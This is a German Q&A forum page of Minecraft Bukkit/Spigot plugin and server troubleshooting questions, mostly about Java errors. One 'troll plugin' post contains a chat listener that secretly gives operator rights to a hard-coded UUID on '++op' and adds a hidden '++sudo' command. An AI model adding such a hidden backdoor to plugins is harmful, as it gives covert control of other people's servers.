Bukkit – die neusten Beiträge

Wie behebe ich die Fehlermeldung beim starten des fabric Servers?

Beim starten der Start.bat Datei für den Minecraft Fabric server bekomme ich diese Fehlermeldung:

Uncaught exception in thread "main"

java.lang.RuntimeException: An exception occurred when launching the server!

at net.fabricmc.loader.impl.launch.server.FabricServerLauncher.main(FabricServerLauncher.java:71)

at net.fabricmc.installer.ServerLauncher.main(ServerLauncher.java:69)

Caused by: java.lang.RuntimeException: Error invoking MC server bundler: java.lang.UnsupportedClassVersionError: net/minecraft/bundler/Main has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 52.0

at net.fabricmc.loader.impl.game.minecraft.BundlerProcessor.process(BundlerProcessor.java:102)

at net.fabricmc.loader.impl.game.minecraft.MinecraftGameProvider.locateGame(MinecraftGameProvider.java:193)

at net.fabricmc.loader.impl.launch.knot.Knot.createGameProvider(Knot.java:175)

at net.fabricmc.loader.impl.launch.knot.Knot.init(Knot.java:130)

at net.fabricmc.loader.impl.launch.knot.Knot.launch(Knot.java:68)

at net.fabricmc.loader.impl.launch.knot.KnotServer.main(KnotServer.java:23)

at net.fabricmc.loader.impl.launch.server.FabricServerLauncher.main(FabricServerLauncher.java:69)

... 1 more

Caused by: java.lang.UnsupportedClassVersionError: net/minecraft/bundler/Main has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 52.0

at java.lang.ClassLoader.defineClass1(Native Method)

at java.lang.ClassLoader.defineClass(Unknown Source)

at java.lang.ClassLoader.defineClass(Unknown Source)

at net.fabricmc.loader.impl.game.minecraft.BundlerProcessor$1.loadClass(BundlerProcessor.java:65)

at java.lang.ClassLoader.loadClass(Unknown Source)

at java.lang.Class.forName0(Native Method)

at java.lang.Class.forName(Unknown Source)

at net.fabricmc.loader.impl.game.minecraft.BundlerProcessor.process(BundlerProcessor.java:85)

... 7 more

kann mir jemand helfen es zu beheben?

Bild zum Beitrag
Server, Mods, Java, Minecraft, Code, Minecraft Server, Serverprobleme, Bukkit, Forge, Spigot, fabric

Minecraft 1.20.4 - Eclipse Programmierung, kann keine Imports machen?

Ich möchte mit Java ein Plugin für 1.20.4 programmieren und habe mir ein Code von ChatGPT schreiben lassen.

package de.diamanthoe.plugin;

import org.bukkit.Material;

import org.bukkit.Particle;

import org.bukkit.command.Command;

import org.bukkit.command.CommandSender;

import org.bukkit.command.CommandExecutor;

import org.bukkit.configuration.ConfigurationSection;

import org.bukkit.configuration.file.FileConfiguration;

import org.bukkit.entity.Player;

import org.bukkit.inventory.Inventory;

import org.bukkit.inventory.ItemStack;

import org.bukkit.inventory.meta.ItemMeta;

import org.bukkit.plugin.java.JavaPlugin;

import org.bukkit.Location;

public class NaviSystem extends JavaPlugin implements CommandExecutor {

  @Override

  public void onEnable() {

    // Register commands

    getCommand("navi").setExecutor(this);

  }

  @Override

  public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {

    if (!(sender instanceof Player)) {

      sender.sendMessage("Dieser Befehl kann nur von Spielern ausgeführt werden.");

      return true;

    }

    Player player = (Player) sender;

    if (cmd.getName().equalsIgnoreCase("navi")) {

      if (args.length >= 1) {

        if (args[0].equalsIgnoreCase("save")) {

          if (args.length >= 2) {

            savePoint(args[1], player.getLocation());

            sender.sendMessage("Punkt gespeichert unter: " + args[1]);

          } else {

            sender.sendMessage("Verwendung: /navi save [Name]");

          }

        } else {

          if (args.length >= 3) {

            try {

              double x = Double.parseDouble(args[0]);

              double y = Double.parseDouble(args[1]);

              double z = Double.parseDouble(args[2]);

              Location target = new Location(player.getWorld(), x, y, z);

              createParticleTrail(player, target);

            } catch (NumberFormatException e) {

              sender.sendMessage("Ungültige Koordinaten.");

            }

          } else {

            sender.sendMessage("Verwendung: /navi <x y z>");

          }

        }

      } else {

        sender.sendMessage("Verwendung: /navi <x y z>");

      }

    }

    return true;

  }

  private void createParticleTrail(Player player, Location target) {

    Location playerLocation = player.getLocation();

    player.spawnParticle(Particle.REDSTONE, playerLocation, 0, target.getX(), target.getY(), target.getZ(), 10);

  }

  private void savePoint(String name, Location location) {

    FileConfiguration config = getConfig();

    config.set("points." + name + ".world", location.getWorld().getName());

    config.set("points." + name + ".x", location.getX());

    config.set("points." + name + ".y", location.getY());

    config.set("points." + name + ".z", location.getZ());

    saveConfig();

  }

  private void openPointsGUI(Player player) {

    Inventory gui = getServer().createInventory(null, 9, "Gespeicherte Punkte");

    ConfigurationSection pointsSection = getConfig().getConfigurationSection("points");

    if (pointsSection != null) {

      for (String pointName : pointsSection.getKeys(false)) {

        ConfigurationSection pointConfig = pointsSection.getConfigurationSection(pointName);

        if (pointConfig != null) {

          String worldName = pointConfig.getString("world");

          double x = pointConfig.getDouble("x");

          double y = pointConfig.getDouble("y");

          double z = pointConfig.getDouble("z");

          ItemStack pointItem = createPointItem(worldName, x, y, z);

          gui.addItem(pointItem);

        }

      }

    }

    player.openInventory(gui);

  }

  private ItemStack createPointItem(String worldName, double x, double y, double z) {

    ItemStack item = new ItemStack(Material.COMPASS);

    ItemMeta meta = item.getItemMeta();

    meta.setDisplayName(worldName + " - " + x + ", " + y + ", " + z);

    item.setItemMeta(meta);

    return item;

  }

}

Das Problem ist, dass da total viel rot unterstrichen wird, was wahrscheinlich auf die Imports zurückzuführen ist. Die Imports selbst sind teilweise ebenso rot interstrichen (org.bukkit).

Ich benutze das JDK 17 und Java SE 1.8.

Java, Minecraft, Code, Minecraft Server, Programmiersprache, Bukkit, Spigot

Code Error Java?

public class Main {
public static void main(String[] args) {


    GUI gui = new GUI();
    
    }
    
   public static int fak (int n) {
        if (n == 0) {
            return 1;
        }
        return n * fak(n - 1);
    }
    
}

import javax.swing.*;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;


import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;


public class GUI extends JFrame {
    JButton button = new JButton("Berechnen");
    JLabel label = new JLabel("Bitte geben Sie die Zahl ein: ");
    JTextField textfield = new JTextField(2);
    JOptionPane popup = new JOptionPane();
    JPanel panel = new JPanel();
    
    public GUI () {
        setSize(300, 300);
        setTitle("Fakultätsrechner");
        setLayout(new FlowLayout());
        setVisible(true);
        
        panel.add(textfield);
        panel.add(label);
        panel.add(button);
        add(panel);
        
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        setVisible(true);


        button.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                try {
                    String input = textfield.getText();
                    int number = Integer.parseInt(input);
                    int result = Main.fak(number);
                    JOptionPane.showMessageDialog(null, "Die Fakultät von " + number + " ist " + result);
                } catch (NumberFormatException ex) {
                    JOptionPane.showMessageDialog(null, "Bitte geben Sie eine gültige Ganzzahl ein.");
                }
            }
        });
        
    }





}

Error: java.lang.ClassNotFoundException: Main

Aber wieso findet er denn die Main-Klasse nicht? Verstehe ich nicht.

App, Java, Minecraft, Array, Code, Eclipse, Minecraft Server, Programmiersprache, Swing, game-development, Bukkit, Spigot, Java Swing, Android Studio

Selbstprogramiertes Plugin auf lokalen Server funktioniert nicht?

Ich habe ein Minecraft Plugin selbst programmiert aber jetzt wird diese Fehlermeldung angezeigt:

[08:53:05] [Server thread/ERROR]: Could not load 'plugins\EasyConvert+1.0.0.jar' in folder 'plugins'
org.bukkit.plugin.InvalidPluginException: Cannot find main class `easytrade.thepixel3261.easytrade.EasyTrade'
    at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:69) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.java.JavaPluginLoader.loadPlugin(JavaPluginLoader.java:145) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:394) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.SimplePluginManager.loadPlugins(SimplePluginManager.java:301) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.craftbukkit.v1_20_R1.CraftServer.loadPlugins(CraftServer.java:435) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at net.minecraft.server.dedicated.DedicatedServer.e(DedicatedServer.java:219) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at net.minecraft.server.MinecraftServer.w(MinecraftServer.java:972) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at net.minecraft.server.MinecraftServer.lambda$0(MinecraftServer.java:303) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at java.lang.Thread.run(Thread.java:1583) ~[?:?]
Caused by: java.lang.ClassNotFoundException: easytrade.thepixel3261.easytrade.EasyTrade
    at org.bukkit.plugin.java.PluginClassLoader.loadClass0(PluginClassLoader.java:147) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.java.PluginClassLoader.loadClass(PluginClassLoader.java:99) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at java.lang.ClassLoader.loadClass(ClassLoader.java:526) ~[?:?]
    at java.lang.Class.forName0(Native Method) ~[?:?]
    at java.lang.Class.forName(Class.java:534) ~[?:?]
    at java.lang.Class.forName(Class.java:513) ~[?:?]
    at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:67) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    ... 8 more

Als Server Software benutze ich Spigot. Das ist der Code der Main.java Datei:

package easytrade.thepixel3261.easytrade;

import org.bukkit.Material;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.plugin.java.JavaPlugin;

public class Main extends JavaPlugin {

    @Override
    public void onEnable() {
        getLogger().info("Plugin enabled!");
    }

    @Override
    public void onDisable() {
        getLogger().info("Plugin disabled!");
    }

    @Override
    public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
        if (cmd.getName().equalsIgnoreCase("convert")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage("Only players can use this command.");
                return true;
            }

            Player player = (Player) sender;

            if (args.length != 2) {
                player.sendMessage("Usage: /convert <material> <amount>");
                return true;
            }

            Material fromMaterial = Material.getMaterial(args[0].toUpperCase());
            int amount = Integer.parseInt(args[1]);

            if (fromMaterial == null) {
                player.sendMessage("Invalid material specified.");
                return true;
            }

            Material toMaterial = null;

            if (fromMaterial == Material.COPPER_INGOT && amount >= 2) {
                toMaterial = Material.EMERALD;
                amount /= 2;
            } else if (fromMaterial == Material.EMERALD && amount >= 1) {
                toMaterial = Material.COPPER_INGOT;
                amount *= 2;
            } else {
                player.sendMessage("Invalid material specified or not enough items.");
                return true;
            }

            ItemStack fromItem = new ItemStack(fromMaterial, amount);

            if (!player.getInventory().containsAtLeast(fromItem, amount)) {
                player.sendMessage("You do not have enough " + fromMaterial.toString().toLowerCase() + "s in your inventory.");
                return true;
            }

            ItemStack toItem = new ItemStack(toMaterial, amount);

            // Remove the specified number of items from the player's inventory
            player.getInventory().removeItem(fromItem);

            // Add the converted items to the player's inventory
            player.getInventory().addItem(toItem);

            player.sendMessage("Successfully converted " + amount + " " + fromMaterial.toString().toLowerCase() + "s to " + amount + " " + toMaterial.toString().toLowerCase() + "s.");

            return true;
        }

        return false;
    }
}

Java, Minecraft, Bukkit, Spigot, PaperMC

Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin

Fehler wenn ich auf Spigot 1.8.8 Server joine?

Hi. Ich komme nicht auf meinen Spigot 1.8.8 Server. Immer wenn ich versuche zu joinen kommt unendlich lange diese Meldung ganz schnell wiederholt in der Konsole:

[16:25:56 WARN]: An exceptionCaught() event was fired, and it reached at the tail of the pipeline. It usually means the last handler in the pipeline did not handle the exception.
java.lang.RuntimeException: Unable to access address of buffer
        at io.netty.channel.epoll.Native.read(Native Method) ~[spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.doReadBytes(EpollSocketChannel.java:678) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.epollInReady(EpollSocketChannel.java:714) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe$3.run(EpollSocketChannel.java:755) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:380) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollEventLoop.run(EpollEventLoop.java:268) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at java.base/java.lang.Thread.run(Thread.java:831) [?:?]

Ich habe kein einziges Plugin auf dem Server und seit dem ersten Start nichts verändert. Und ja ich bin auch gewhitelisted und so...

Server, Computer, Java, Minecraft, Minecraft Server, Bukkit, craftbukkit, Spigot, minecraft 1.8, Spiele und Gaming

Wieso wird mein Scoreboard nicht angezeigt?

	  public void setScoreboard(Player p) {
		    ScoreboardManager sm = Bukkit.getScoreboardManager();
		    Scoreboard board = sm.getNewScoreboard();
		    Objective o = board.registerNewObjective("test", "dummy");
		    o.setDisplaySlot(DisplaySlot.SIDEBAR);
		    o.setDisplayName(cfg.getString("Displayname"));
		    o.getScore("§a   ").setScore(10);
		    o.getScore("§fMap").setScore(9);
		    o.getScore("§d" + p.getWorld().getName()).setScore(8);
		    o.getScore("§e    ").setScore(7);
		    o.getScore("§fKills:").setScore(6);
		    o.getScore("§e"+ p.getStatistic(Statistic.PLAYER_KILLS)).setScore(5);
		    o.getScore("§f    ").setScore(4);
		    o.getScore("§fTeams:" ).setScore(3);
		    o.getScore("§aERLAUBT!").setScore(2);
		    o.getScore("§1   ").setScore(1);
		    o.getScore("§eMade by KoCoLP!").setScore(0);
		    p.setScoreboard(board);


		  }
		  
		  @EventHandler
		  public void onJoin1(PlayerJoinEvent e) {
		    (new BukkitRunnable() {
		        public void run() {
		          for (Player all : Bukkit.getOnlinePlayers())
		            GunGame.this.setScoreboard(all); 
		        }
		      }).runTaskLater((Plugin)this, 1L);
		  }
		  
		  @EventHandler
		  public void onQuit2(PlayerQuitEvent e) {
		    (new BukkitRunnable() {
		        public void run() {
		          for (Player all : Bukkit.getOnlinePlayers())
		            GunGame.this.setScoreboard(all); 
		        }
		      }).runTaskLater((Plugin)this, 1L);
		  }
		  
		  @EventHandler
		  public void onDeath3(PlayerDeathEvent e) {
		    for (Player all : Bukkit.getOnlinePlayers())
		      GunGame.this.setScoreboard(all); 
		  }
	


programmieren, Minecraft, developer, Bukkit, scoreboard, Spigot

Minecraft Spigot TabList Prefix Plugin schreiben?

Ich code derzeit an einem TabList Prefix Plugin, und egal was ich versuche, der Prefix wird nie angegeben. Derzeit befindet sich im Pluginsordner außer dem Plugin noch PermissionsEx, Vault und Essentials. Der Server läuft auf der 1.8.

Hier ist der Code:

package me.didi.main;

import org.bukkit.Bukkit;

import org.bukkit.entity.Player;

import org.bukkit.scoreboard.Scoreboard;

public class TabList{

private static Scoreboard sb;

public static void setScoreBoard() {

sb = Bukkit.getScoreboardManager().getNewScoreboard();

sb.registerNewTeam("000Owner");

sb.registerNewTeam("001Admin");

sb.registerNewTeam("002Developer");

sb.registerNewTeam("003Mod");

sb.registerNewTeam("005Vip");

sb.registerNewTeam("006Player");

sb.getTeam("000Owner").setPrefix("§r[§4Owner§r] ");

sb.getTeam("001Admin").setPrefix("§r[§cAdmin§r] ");

sb.getTeam("002Developer").setPrefix("§r[§bDev§r] ");

sb.getTeam("003Mod").setPrefix("§r[§eMod§r] ");

sb.getTeam("005Vip").setPrefix("§r[§6VIP§r] ");

sb.getTeam("006Player").setPrefix("§7");

for(Player all : Bukkit.getOnlinePlayers()) {

setTeams(all);

}

}

private static void setTeams(Player p) {

String team = "";

if(p.hasPermission("server.owner")) {

team = "000Owner";

}

if(p.hasPermission("server.admin")) {

team = "001Admin";

}

if(p.hasPermission("server.developer") || p.isOp()) {

team = "002Developer";

}

if(p.hasPermission("server.mod")) {

team = "003Mod";

}

if(p.hasPermission("server.vip")) {

team = "005Vip";

}

if(p.hasPermission("server.player")) {

team = "006Player";

}

sb.getTeam(team).addPlayer(p);

p.setScoreboard(sb);

}

}

Wenn ihr eine Antwort darauf wisst, helft mir bitte.

Minecraft, Minecraft Server, Plug-in, Bukkit, Spigot Server

Minecraft plugin scheduler?

Hallo leute, sobald ich zwei cooldowns parallel am laufen habe, und einer durch ist, gibt es beim zweiten cooldown folgende errormeldung. Weiß jemand wo das Problem ist?:

java.lang.NullPointerException
    at de.johannes.hcfabilitys.main.ABILITYT$1.run(ABILITY.java:101) ~[?:?]
    at org.bukkit.craftbukkit.v1_8_R3.scheduler.CraftTask.run(CraftTask.java:71) ~[spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
    at org.bukkit.craftbukkit.v1_8_R3.scheduler.CraftScheduler.mainThreadHeartbeat(CraftScheduler.java:350) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
    at net.minecraft.server.v1_8_R3.MinecraftServer.B(MinecraftServer.java:723) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
    at net.minecraft.server.v1_8_R3.DedicatedServer.B(DedicatedServer.java:374) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
    at net.minecraft.server.v1_8_R3.MinecraftServer.A(MinecraftServer.java:654) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
    at net.minecraft.server.v1_8_R3.MinecraftServer.run(MinecraftServer.java:557) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
    at java.lang.Thread.run(Unknown Source) [?:1.8.0_241]

Hier der code:

public static void inGameCountDown(Player p, Player t) {
tp = Bukkit.getScheduler().scheduleSyncRepeatingTask(Main.getPlugin(), new Runnable() {
@Override
public void run() {
System.out.println("Activating run for: " + p.getName());
if(cooldown.get(p) == null) {
returnInventory(p, t);
Bukkit.getScheduler().cancelTask(tp);
}
if (cooldown.get(p) == 1) {
System.out.println("Canceling cooldown for: " + p.getName());
Bukkit.getScheduler().cancelTask(tp);
cooldown.remove(p);
returnInventory(p, t);
}
if(cooldown.containsKey(p)) {
int c = cooldown.get(p);
c--;
System.out.println("Hashmap contains key for: " + p.getName() + "   " + c);
cooldown.put(p, c);
}
}
}, 20, 20);
}
Java, Bukkit, Spigot, Minecraft Plugin

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